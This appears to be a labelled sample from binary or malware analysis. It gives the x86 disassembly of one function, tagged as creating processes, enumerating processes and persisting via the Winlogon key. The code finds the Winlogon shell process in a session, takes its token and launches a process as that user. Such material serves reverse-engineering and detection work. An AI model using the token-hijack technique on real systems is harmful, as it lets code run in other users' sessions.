Function at 0x405250
Capabilities:
Create process on windows
Enumerate processes
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
push 0x2000
push 0
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
je 0x40538a
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
lea edi, [ebx + 0x104]
mov byte [ebx], 0
call fcn.004140a0
mov esi, eax
test esi, esi
je 0x4052c5
push 0x104
push ebx
push str.Shell
push esi
call fcn.004141c0
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebx], 0
je 0x405374
push 0x5c
push ebx
call fcn.00420f66
add esp, 8
mov esi, eax
test esi, esi
cmove esi, ebx
push 0
push 2
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x405374
push edi
push eax
mov dword [edi], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x405374
mov ebx, dword [ebp - 0xc]
lea eax, [edi + 0x24]
nop dword [eax]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x405362
lea eax, [ebp - 0x14]
push eax
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x405362
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x14], eax
jne 0x405362
push dword [edi + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405371
lea eax, [ebp - 8]
push eax
push 0xb
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x18]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
lea eax, [edi + 0x24]
jne 0x405310
mov ebx, dword [ebp - 0x1c]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 8]
test esi, esi
jne 0x40539d
pop edi
pop esi
mov eax, 0x3f0
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x70], 0
push eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], 0x44
push eax
push 0x43c3f0
push dword [ebp - 4]
xorps xmm0, xmm0
mov dword [ebp - 0x6c], str.winsta0default
push 0x400
push 0
push 0
push 0
push dword [ebp - 0x20]
movlpd qword [ebp - 0x68], xmm0
push 0
push esi
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x405425
push dword [ebp - 0x30]
call edi
push dword [ebp - 0x2c]
call edi
xor edi, edi
jmp 0x405428
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x405436
push ecx
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret